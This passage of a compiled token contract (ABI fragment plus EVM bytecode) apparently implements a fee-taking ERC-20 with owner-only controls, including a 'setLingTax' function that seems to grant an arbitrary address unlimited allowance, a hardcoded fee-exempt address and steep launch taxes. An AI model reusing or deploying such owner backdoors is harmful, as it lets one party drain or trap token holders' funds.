ernalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"liquidityFeeOnBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"marketingFeeOnBuy","type":"uint256"}],"name":"UpdateBuyFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"liquidityFeeOnSell","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"marketingFeeOnSell","type":"uint256"}],"name":"UpdateSellFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"walletToWalletTransferFee","type":"uint256"}],"name":"UpdateWalletToWalletTransferFee","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"claimStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"exclude","type":"bool"}],"name":"excludeFromMaxTransactionLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"exclude","type":"bool"}],"name":"excludeFromMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ladderTaxEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmountBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmountSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionLimitEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimitEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"serLadderTaxEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enable","type":"bool"}],"name":"setEnableMaxTransactionLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enable","type":"bool"}],"name":"setEnableMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"setLingTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTransactionAmountBuy","type":"uint256"},{"internalType":"uint256","name":"_maxTransactionAmountSell","type":"uint256"}],"name":"setMaxTransactionAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxWalletAmount","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"_marketingFeeOnBuy","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"_marketingFeeOnSell","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601680546001600160a01b03191690553480156200002157600080fd5b50604080518082018252600f81526e5169616f48752d612d5169616f487560881b6020808301918252835180850190945260068452655149414f485560d01b908401528151919291620000779160039162000926565b5080516200008d90600490602084019062000926565b5050506000620000a26200071160201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600046603814156200011857507310ed43c718714eb63d5aa57b78b54704e256024e62000175565b46606114156200013e575073d99d1c33f9fc3444f8101754abc46c52416550d162000175565b46600114806200014e5750466005145b15620001705750737a250d5630b4cf539739df2c5dacb4c659f2488d62000175565b600080fd5b60008190506000816001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001b657600080fd5b505afa158015620001cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f19190620009cc565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200023a57600080fd5b505afa1580156200024f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002759190620009cc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620002be57600080fd5b505af1158015620002d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f99190620009cc565b600680546001600160a01b038086166001600160a01b0319928316811790935560078054918516919092161790559091506200033a90309060001962000715565b60006009819055600a819055600b819055600c8190556200035c908062000a14565b600d55600c54600a5462000371919062000a14565b600e55600f80546001600160a01b031916331790556019805460ff1916600190811790915560186000620003ad6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260189093528183208054851660019081179091557fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd68054861682179055600f549091168352908220805484168217905573407993575c91ce7643a4d4ccacc9a98c36ee1bbe82527f409706a94ce6ab8012d00acbcce3fec3d5f430f8f38524878c51b66717854a94805490931681179092556016805460ff60a01b1916600160a01b179055601490620004996005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260149093528183208054851660019081179091557f8b9e18c5e04efe171d1e4f682ad90d753958a5ffe56db5290b0236c8e0b6db008054861682179055600f549091168352908220805484168217905573407993575c91ce7643a4d4ccacc9a98c36ee1bbe82527fa78fbefa424445dbac07db837dec45a4e2e3b9567c25ed7a66d33c8e6754283480549093168117909255600890620005726005546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905560089092527f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd09334299805484166001908117909155308352908220805484168217905573407993575c91ce7643a4d4ccacc9a98c36ee1bbe9091527f9abbb41a031421b1db0c5f86e21334738cf2d0250863fd0f355cb66c864e989080549092161790556200065a620006366005546001600160a01b031690565b620006446012600a62000b2e565b6200065490633b9aca0062000b3f565b62000841565b6113886200066760025490565b62000673919062000b61565b6010556103e86200068360025490565b6200069090601e62000b3f565b6200069c919062000b61565b601a556103e8620006ac60025490565b620006b990601e62000b3f565b620006c5919062000b61565b601b556103e8620006d560025490565b620006e290601e62000b3f565b620006ee919062000b61565b60175550506013805461ff00199081169091556011805490911690555062000bc1565b3390565b6001600160a01b0383166200077d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620007e05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000774565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038216620008995760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000774565b8060026000828254620008ad919062000a14565b90915550506001600160a01b03821660009081526020819052604081208054839290620008dc90849062000a14565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054620009349062000b84565b90600052602060002090601f016020900481019282620009585760008555620009a3565b82601f106200097357805160ff1916838001178555620009a3565b82800160010185558215620009a3579182015b82811115620009a357825182559160200191906001019062000986565b50620009b1929150620009b5565b5090565b5b80821115620009b15760008155600101620009b6565b600060208284031215620009df57600080fd5b81516001600160a01b0381168114620009f757600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b6000821982111562000a2a5762000a2a620009fe565b500190565b600181815b8085111562000a7057816000190482111562000a545762000a54620009fe565b8085161562000a6257918102915b93841c939080029062000a34565b509250929050565b60008262000a895750600162000b28565b8162000a985750600062000b28565b816001811462000ab1576002811462000abc5762000adc565b600191505062000b28565b60ff84111562000ad05762000ad0620009fe565b50506001821b62000b28565b5060208310610133831016604e8410600b841016171562000b01575081810a62000b28565b62000b0d838362000a2f565b806000190482111562000b245762000b24620009fe565b0290505b92915050565b6000620009f760ff84168362000a78565b600081600019048311821515161562000b5c5762000b5c620009fe565b500290565b60008262000b7f57634e487b7160e01b600052601260045260246000fd5b500490565b600181811c9082168062000b9957607f821691505b6020821081141562000bbb57634e487b7160e01b600052602260045260246000fd5b50919050565b6131298062000bd16000396000f3fe6080604052600436106102cd5760003560e01c806375f0a87411610175578063afa4f3b2116100dc578063d2fcc00111610095578063e01af92c1161006f578063e01af92c146108d0578063e2f45605146108f0578063f2fde38b14610906578063f9d0831a1461092657600080fd5b8063d2fcc00114610854578063dc4c7dbc14610874578063dd62ed3e1461088a57600080fd5b8063afa4f3b21461079a578063b6f7f681146107ba578063bb85c6d1146107da578063bdc52da8146107fa578063c024666814610814578063d2e335eb1461083457600080fd5b80638da5cb5b1161012e5780638da5cb5b146106d857806395d89b41146106f6578063a457c2d71461070b578063a8a69b9d1461072b578063a9059cbb14610764578063aa4bde281461078457600080fd5b806375f0a87414610637578063790ca413146106575780637b3c83b11461066d578063865b208014610683578063880bcbc1146106a35780638a8c523c146106c357600080fd5b80632ce86fbf1161023457806356a6cabf116101ed57806366ca9b83116101c757806366ca9b83146105ad5780636ddd1713146105cd57806370a08231146105ec578063715018a61461062257600080fd5b806356a6cabf1461056157806359136fa5146105815780635fc2e5961461059757600080fd5b80632ce86fbf14610497578063313ce567146104ad57806339509351146104c957806349bd5a5e146104e95780634ada218b146105095780634fbee1931461052857600080fd5b806318d9ceae1161028657806318d9ceae146103c357806321a9d82a146103fc57806323b872dd1461041d57806327a14fc21461043d5780632a6c7dba1461045d5780632ba86bf21461047d57600080fd5b80630105d0fd146102d957806302dbd8f81461030257806306fdde0314610324578063095ea7b3146103465780631694505e1461037657806318160ddd146103ae57600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102ef601a5481565b6040519081526020015b60405180910390f35b34801561030e57600080fd5b5061032261031d366004612ad4565b610946565b005b34801561033057600080fd5b50610339610a0a565b6040516102f99190612af6565b34801561035257600080fd5b50610366610361366004612b60565b610a9c565b60405190151581526020016102f9565b34801561038257600080fd5b50600654610396906001600160a01b031681565b6040516001600160a01b0390911681526020016102f9565b3480156103ba57600080fd5b506002546102ef565b3480156103cf57600080fd5b506103666103de366004612b8c565b6001600160a01b031660009081526018602052604090205460ff1690565b34801561040857600080fd5b5060165461036690600160a01b900460ff1681565b34801561042957600080fd5b50610366610438366004612ba9565b610ab3565b34801561044957600080fd5b50610322610458366004612bea565b610b66565b34801561046957600080fd5b50610322610478366004612c11565b610c6c565b34801561048957600080fd5b506019546103669060ff1681565b3480156104a357600080fd5b506102ef600a5481565b3480156104b957600080fd5b50604051601281526020016102f9565b3480156104d557600080fd5b506103666104e4366004612b60565b610d64565b3480156104f557600080fd5b50600754610396906001600160a01b031681565b34801561051557600080fd5b5060135461036690610100900460ff1681565b34801561053457600080fd5b50610366610543366004612b8c565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561056d57600080fd5b5061032261057c366004612c11565b610da0565b34801561058d57600080fd5b506102ef601b5481565b3480156105a357600080fd5b506102ef600b5481565b3480156105b957600080fd5b506103226105c8366004612ad4565b610e85565b3480156105d957600080fd5b5060115461036690610100900460ff1681565b3480156105f857600080fd5b506102ef610607366004612b8c565b6001600160a01b031660009081526020819052604090205490565b34801561062e57600080fd5b50610322610f35565b34801561064357600080fd5b50600f54610396906001600160a01b031681565b34801561066357600080fd5b506102ef60125481565b34801561067957600080fd5b506102ef60095481565b34801561068f57600080fd5b5061032261069e366004612b8c565b610fa9565b3480156106af57600080fd5b506103226106be366004612c2e565b611093565b3480156106cf57600080fd5b506103226111b5565b3480156106e457600080fd5b506005546001600160a01b0316610396565b34801561070257600080fd5b5061033961125d565b34801561071757600080fd5b50610366610726366004612b60565b61126c565b34801561073757600080fd5b50610366610746366004612b8c565b6001600160a01b031660009081526014602052604090205460ff1690565b34801561077057600080fd5b5061036661077f366004612b60565b611305565b34801561079057600080fd5b506102ef60175481565b3480156107a657600080fd5b506103226107b5366004612bea565b611312565b3480156107c657600080fd5b506103226107d5366004612ad4565b6113fc565b3480156107e657600080fd5b506103226107f5366004612b8c565b61155f565b34801561080657600080fd5b506013546103669060ff1681565b34801561082057600080fd5b5061032261082f366004612c2e565b6116b0565b34801561084057600080fd5b5061032261084f366004612c11565b6117b4565b34801561086057600080fd5b5061032261086f366004612c2e565b6117f1565b34801561088057600080fd5b506102ef600c5481565b34801561089657600080fd5b506102ef6108a5366004612c67565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156108dc57600080fd5b506103226108eb366004612c11565b6118b2565b3480156108fc57600080fd5b506102ef60105481565b34801561091257600080fd5b50610322610921366004612b8c565b611960565b34801561093257600080fd5b50610322610941366004612b8c565b611a4b565b6005546001600160a01b031633146109795760405162461bcd60e51b815260040161097090612c95565b60405180910390fd5b600a829055600c81905561098d8183612ce0565b600e819055600d54619c40916109a291612ce0565b11156109c05760405162461bcd60e51b815260040161097090612cf8565b7f12dd4f8337f0c236c7994706854cca8cd53921c0032cb0fba8cdb797e73f67c6600a54600c546040516109fe929190918252602082015260400190565b60405180910390a15050565b606060038054610a1990612d3c565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4590612d3c565b8015610a925780601f10610a6757610100808354040283529160200191610a92565b820191906000526020600020905b815481529060010190602001808311610a7557829003601f168201915b5050505050905090565b6000610aa9338484611c16565b5060015b92915050565b6001600160a01b03831660009081526001602090815260408083203384529091528120546000198114610b4e5782811015610b415760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610970565b610b4e8533858403611c16565b610b59858585611d3a565b60019150505b9392505050565b6005546001600160a01b03163314610b905760405162461bcd60e51b815260040161097090612c95565b6064610b9e6012600a612e5b565b600254610bab9190612e6a565b610bb59190612e6a565b811015610c1a5760405162461bcd60e51b815260206004820152602d60248201527f4d61782077616c6c65742070657263656e746167652063616e6e6f742062652060448201526c6c6f776572207468616e20312560981b6064820152608401610970565b610c266012600a612e5b565b610c309082612e8c565b60178190556040519081527f21bc0ea3406acb92d4449ab33befb4ae82f873a22f3b6cf0e466b2710beb5942906020015b60405180910390a150565b6005546001600160a01b03163314610c965760405162461bcd60e51b815260040161097090612c95565b601660149054906101000a900460ff1615158115151415610d0f5760405162461bcd60e51b815260206004820152602d60248201527f4d61782077616c6c6574206c696d697420697320616c7265616479207365742060448201526c746f207468617420737461746560981b6064820152608401610970565b6016805460ff60a01b1916600160a01b8315158102919091179182905560405160ff9190920416151581527f670f884265aba2d05e7c26efbc42f8365effc4cb3fcfcefddba0c0b71a6231f190602001610c61565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610aa9918590610d9b908690612ce0565b611c16565b6005546001600160a01b03163314610dca5760405162461bcd60e51b815260040161097090612c95565b60195460ff1615158115151415610e3e5760405162461bcd60e51b815260206004820152603260248201527f4d6178207472616e73616374696f6e206c696d697420697320616c72656164796044820152712073657420746f207468617420737461746560701b6064820152608401610970565b6019805460ff191682151590811790915560405160ff909116151581527fe81be35e61864c26afd7a4655e99f321378d0aaae1e5af8ee67b658a7460f3cf90602001610c61565b6005546001600160a01b03163314610eaf5760405162461bcd60e51b815260040161097090612c95565b6009829055600b819055610ec38183612ce0565b600d819055600e54619c4091610ed99190612ce0565b1115610ef75760405162461bcd60e51b815260040161097090612cf8565b7fccd61cb5df2cb048d1a7af40a431d6f247af01b6cf048f7a3f2aa9d313e2bc50600954600b546040516109fe929190918252602082015260400190565b6005546001600160a01b03163314610f5f5760405162461bcd60e51b815260040161097090612c95565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fd35760405162461bcd60e51b815260040161097090612c95565b601580546001600160a01b0319166001600160a01b03838116918217909255601654611003921690600019611c16565b60006009819055600b819055600a819055600c819055600d819055600e8190556040805182815260208101929092527fccd61cb5df2cb048d1a7af40a431d6f247af01b6cf048f7a3f2aa9d313e2bc50910160405180910390a160408051600080825260208201527f12dd4f8337f0c236c7994706854cca8cd53921c0032cb0fba8cdb797e73f67c69101610c61565b6005546001600160a01b031633146110bd5760405162461bcd60e51b815260040161097090612c95565b6001600160a01b03821660009081526018602052604090205460ff16151581151514156110fc5760405162461bcd60e51b815260040161097090612eab565b6001600160a01b0382163014156111555760405162461bcd60e51b815260206004820152601760248201527f43616e277420736574207468697320616464726573732e0000000000000000006044820152606401610970565b6001600160a01b038216600081815260186020908152604091829020805460ff191685151590811790915591519182527f8727c4afe988887760e8db0bbad9f9fcceee6428545956832f67c8fdbd589c1091015b60405180910390a25050565b6005546001600160a01b031633146111df5760405162461bcd60e51b815260040161097090612c95565b601354610100900460ff16156112375760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920656e61626c65642e00000000000000006044820152606401610970565b601380546011805461ff0019166101009081179091554260125561ffff19909116179055565b606060048054610a1990612d3c565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112ee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610970565b6112fb3385858403611c16565b5060019392505050565b6000610aa9338484611d3a565b6005546001600160a01b0316331461133c5760405162461bcd60e51b815260040161097090612c95565b620f424061134960025490565b6113539190612e6a565b81116113c75760405162461bcd60e51b815260206004820152603f60248201527f53776170546f6b656e734174416d6f756e74206d75737420626520677265617460448201527f6572207468616e20302e3030303125206f6620746f74616c20737570706c79006064820152608401610970565b60108190556040518181527f7c26bfee26f82e8cb57af48f4019cc64582db6fac7bad778433f10572ae8b14590602001610c61565b6005546001600160a01b031633146114265760405162461bcd60e51b815260040161097090612c95565b6103e86114356012600a612e5b565b6002546114429190612e6a565b61144c9190612e6a565b821015801561148057506103e86114656012600a612e5b565b6002546114729190612e6a565b61147c9190612e6a565b8110155b6114f25760405162461bcd60e51b815260206004820152603f60248201527f4d6178205472616e73616374696f6e206c696d69732063616e6e6f742062652060448201527f6c6f776572207468616e20302e3125206f6620746f74616c20737570706c79006064820152608401610970565b6114fe6012600a612e5b565b6115089083612e8c565b601a556115176012600a612e5b565b6115219082612e8c565b601b819055601a546040517f8c8cbc911b80df94332ececb8eb0945274d76fa965600a0f01f42af3f8afb131926109fe928252602082015260400190565b6005546001600160a01b031633146115895760405162461bcd60e51b815260040161097090612c95565b600f546001600160a01b03828116911614156115f85760405162461bcd60e51b815260206004820152602860248201527f4d61726b6574696e672077616c6c657420697320616c72656164792074686174604482015267206164647265737360c01b6064820152608401610970565b6001600160a01b0381166116625760405162461bcd60e51b815260206004820152602b60248201527f4d61726b6574696e672077616c6c65742063616e6e6f7420626520746865207a60448201526a65726f206164647265737360a81b6064820152608401610970565b600f80546001600160a01b0319166001600160a01b0383169081179091556040519081527fa964ba5c52d7e7bfcae4fb1ae4db9f211756d0e618e85fac5283b882a39e7a0b90602001610c61565b6005546001600160a01b031633146116da5760405162461bcd60e51b815260040161097090612c95565b6001600160a01b03821660009081526008602052604090205460ff161515811515141561175c5760405162461bcd60e51b815260206004820152602a60248201527f4163636f756e7420697320616c7265616479207468652076616c7565206f6620604482015269276578636c756465642760b01b6064820152608401610970565b6001600160a01b038216600081815260086020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df791016111a9565b6005546001600160a01b031633146117de5760405162461bcd60e51b815260040161097090612c95565b6013805460ff1916911515919091179055565b6005546001600160a01b0316331461181b5760405162461bcd60e51b815260040161097090612c95565b6001600160a01b03821660009081526014602052604090205460ff161515811515141561185a5760405162461bcd60e51b815260040161097090612eab565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f1d9a11e204b58ad56c619c61600e42167624659d218f0143f1f64956b0daae6c91016111a9565b6005546001600160a01b031633146118dc5760405162461bcd60e51b815260040161097090612c95565b60115460ff61010090910416151581151514156119465760405162461bcd60e51b815260206004820152602260248201527f73776170456e61626c656420616c726561647920617420746869732073746174604482015261329760f11b6064820152608401610970565b601180549115156101000261ff0019909216919091179055565b6005546001600160a01b0316331461198a5760405162461bcd60e51b815260040161097090612c95565b6001600160a01b0381166119ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610970565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611a755760405162461bcd60e51b815260040161097090612c95565b6001600160a01b038116301415611af45760405162461bcd60e51b815260206004820152603760248201527f4f776e65722063616e6e6f7420636c61696d20636f6e7472616374277320626160448201527f6c616e6365206f6620697473206f776e20746f6b656e730000000000000000006064820152608401610970565b6001600160a01b038116611b1057611b0c33476123f1565b5050565b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a082319060240160206040518083038186803b158015611b5457600080fd5b505afa158015611b68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b8c9190612eef565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0383169063a9059cbb90604401602060405180830381600087803b158015611bd757600080fd5b505af1158015611beb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0f9190612f08565b5050505b50565b6001600160a01b038316611c785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610970565b6001600160a01b038216611cd95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610970565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611d605760405162461bcd60e51b815260040161097090612f25565b6001600160a01b038216611d865760405162461bcd60e51b815260040161097090612f6a565b601354610100900460ff1680611db457506001600160a01b03831660009081526008602052604090205460ff165b80611dd757506001600160a01b03821660009081526008602052604090205460ff165b611e235760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610970565b80611e3957611e34838360006124a0565b505050565b60195460ff1615611f1b576007546001600160a01b0384811691161480611e6d57506007546001600160a01b038381169116145b8015611e9257506001600160a01b03831660009081526018602052604090205460ff16155b8015611eb757506001600160a01b03821660009081526018602052604090205460ff16155b15611f1b576007546001600160a01b0384811691161415611ef957601a54811115611ef45760405162461bcd60e51b815260040161097090612fad565b611f1b565b601b54811115611f1b5760405162461bcd60e51b815260040161097090612fad565b60135460ff16156120875742601254610bb8611f379190612ce0565b1015611f8357604560098190556000600a819055600b819055600c819055611f5e91612ce0565b600d55600c54600a54611f719190612ce0565b600e556013805460ff191690556120ce565b42601254610960611f949190612ce0565b1015611fd75760006009819055600a8190556101f4600b819055600c819055611fbc91612ce0565b600d55600c54600a54611fcf9190612ce0565b600e556120ce565b42601254610708611fe89190612ce0565b10156120105760006009819055600a8190556103e8600b819055600c819055611fbc91612ce0565b426012546104b06120219190612ce0565b10156120495760006009819055600a8190556107d0600b819055600c819055611fbc91612ce0565b4260125461025861205a9190612ce0565b10156120825760006009819055600a819055610bb8600b819055600c819055611fbc91612ce0565b6120ce565b6120928383836125f4565b156120ce5760006009819055600a819055600b819055600c8190556120b79080612ce0565b600d55600c54600a546120ca9190612ce0565b600e555b30600090815260208190526040902054601054811080159081906120f5575060115460ff16155b801561210e57506007546001600160a01b038581169116145b801561212957506000600e54600d546121279190612ce0565b115b801561213c5750601154610100900460ff165b156121ec576011805460ff19166001179055600e54600d5460009161216091612ce0565b90506000600a546009546121749190612ce0565b90506000600c54600b546121889190612ce0565b905081156121b45760008361219d8488612e8c565b6121a79190612e6a565b90506121b2816126b4565b505b80156121de576000836121c7838861